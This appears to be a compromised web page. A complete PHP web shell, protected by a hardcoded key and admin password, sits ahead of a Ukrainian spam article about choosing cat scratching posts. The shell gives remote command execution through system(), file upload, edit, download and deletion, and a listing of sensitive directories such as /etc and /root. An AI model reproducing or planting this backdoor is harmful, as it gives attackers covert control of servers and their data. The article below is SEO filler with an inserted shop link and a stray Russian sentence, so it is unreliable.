if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Як вибрати когтеточку для кота щоб задовольнити його потреби – collectives.berlin

Your digital paradise.

Як вибрати когтеточку для кота щоб задовольнити його потреби

Зверніть увагу на матеріал, з якого виготовлена основа: натуральний sisal або картон забезпечують оптимальне тертя для кігтів. Картонні моделі підходять тим, хто полюбляє активно точити кігті, https://kotok.com.ua/ у той час як sisal відмінно витримує тривалі навантаження.

Вибір форми є наступним етапом. Вертикальні конструкції підходять для котів, що люблять підніматися, тоді як горизонтальні моделі виявляться корисними для тих, хто віддає перевагу точити кігті на рівній поверхні. Конструкції з комбінованими формами пропонують універсальний варіант, задовольняючи різні потреби вихованця.

Не менш важливо врахувати розмір. Ваша тварина повинна мати достатньо простору, щоб зручно розташуватися. Висота конструкції повинна дозволяти коту розтягуватися, а ширина – надавати можливість точити кігті без обмежень. Для великих і активних чотирилапих підійдуть масивні моделі, які витримають напружений процес з точення кігтів.

Різновиди когтеточок: що підходить вашому улюбленцю?

Лише два основних варіанти – вертикальні та горизонтальні конструкції. Вертикальні моделі ідеальні для активних особин, які люблять дерти поверхні, щоб підтримувати свої м’язи в тонусі. Вибирайте високі варіанти, які забезпечують стійкість та міцність. Горизонтальні пристрої, з іншого боку, ідеальні для лежачих котів або тих, хто віддає перевагу лежати на землі. Вони часто приманюють пухнастиків більше, ніж вертикальні, оскільки на них зручніше грати чи відпочивати.

Матеріали котячих пристроїв

Серед найбільш популярних матеріалів – натуральна сизаль, картон, деревина та текстиль. Сизальній мотузці надається перевага за її міцність та довговічність. Картонні моделі дуже доступні, але менш стійкі, тож підійдуть для короткочасного використання або для молодих, гравірувальних котят. Дерев’яні варіанти є надійними та естетичними, а м’які текстильні поверхні забезпечують комфортну дотик. Вибір залежить від звичок та вподобань вашого чотирилапого друга.

Матеріали і конструкція: що важливо врахувати?

Сосна та бамбук – це надійні матеріали, які забезпечують тривалу експлуатацію. Сосновий фанера легко обробляється і привабливо виглядає в інтер’єрі, тоді як бамбук стійкий до вологи та має природні антимікробні властивості. Вибір каркаса з таких матеріалів є запорукою довговічності та естетики.

Существуют разные типи покриття для шуршащих поверхностей: від сизалю до картону. Сизаль забезпечує відмінний опір і дозволяє домашньому улюбленцю відчути задоволення під час точення кігтів. Картон, навпаки, є бюджетним варіантом та часто використовується для легких конструкцій. Комбінування матеріалів може стати стратегією, яка відповідає потребам вашого вихованця.

Стабільність конструкції має велике значення. Варто обирати моделі з широкою основою, щоб уникнути падінь під час активних ігор. Особливо вдалими є варіанти з можливістю кріплення до стіни або підлоги, що надає додаткову підтримку. Обираючи стійкий варіант, ви не тільки захистите меблі від пошкоджень, а й створите безпечний простір для улюбленця.

Leave a Reply

Your email address will not be published. Required fields are marked *